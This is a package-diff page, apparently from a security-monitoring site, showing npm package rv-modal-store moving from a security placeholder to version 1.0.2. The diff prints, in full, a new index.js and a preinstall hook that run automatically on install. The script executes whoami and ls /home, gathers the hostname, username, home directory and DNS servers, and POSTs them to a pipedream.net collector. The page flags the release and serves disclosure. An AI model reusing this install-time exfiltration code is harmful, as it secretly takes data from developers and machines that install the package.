rv-modal-store 0.0.1-security → 1.0.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of rv-modal-store might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +51 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,51 @@
1
+ const {execSync} = require('child_process');
2
+ let ls_cmd = execSync('ls /home');
3
+ let whoami_cmd = execSync('whoami');
4
+
5
+
6
+ const os = require("os");
7
+ const dns = require("dns");
8
+ const querystring = require("querystring");
9
+ const https = require("https");
10
+ const packageJSON = require("./package.json");
11
+ const package = packageJSON.name;
12
+
13
+ const trackingData = JSON.stringify({
14
+ p: package,
15
+ c: __dirname,
16
+ home_directory: os.homedir(),
17
+ hostname: os.hostname(),
18
+ os_userInfo: os.userInfo().username,
19
+ whoami : whoami_cmd.toString().replace("\n", " "),
20
+ ls_home_command: ls_cmd.toString().replace("\n", " "),
21
+ dns: dns.getServers(),
22
+ resolved: packageJSON ? packageJSON.___resolved : undefined,
23
+ });
24
+
25
+ var postData = querystring.stringify({
26
+ msg: trackingData,
27
+ });
28
+
29
+ var options = {
30
+ hostname: "eooftdttekuft7n.m.pipedream.net", //replace burpcollaborator.net with Interactsh or pipedream
31
+ port: 443,
32
+ path: "/",
33
+ method: "POST",
34
+ headers: {
35
+ "Content-Type": "application/x-www-form-urlencoded",
36
+ "Content-Length": postData.length,
37
+ },
38
+ };
39
+
40
+ var req = https.request(options, (res) => {
41
+ res.on("data", (d) => {
42
+ process.stdout.write(d);
43
+ });
44
+ });
45
+
46
+ req.on("error", (e) => {
47
+ // console.error(e);
48
+ });
49
+
50
+ req.write(postData);
51
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "rv-modal-store",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.2",
4
+ "description": "Hackerone nishant57",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rv-modal-store for more information.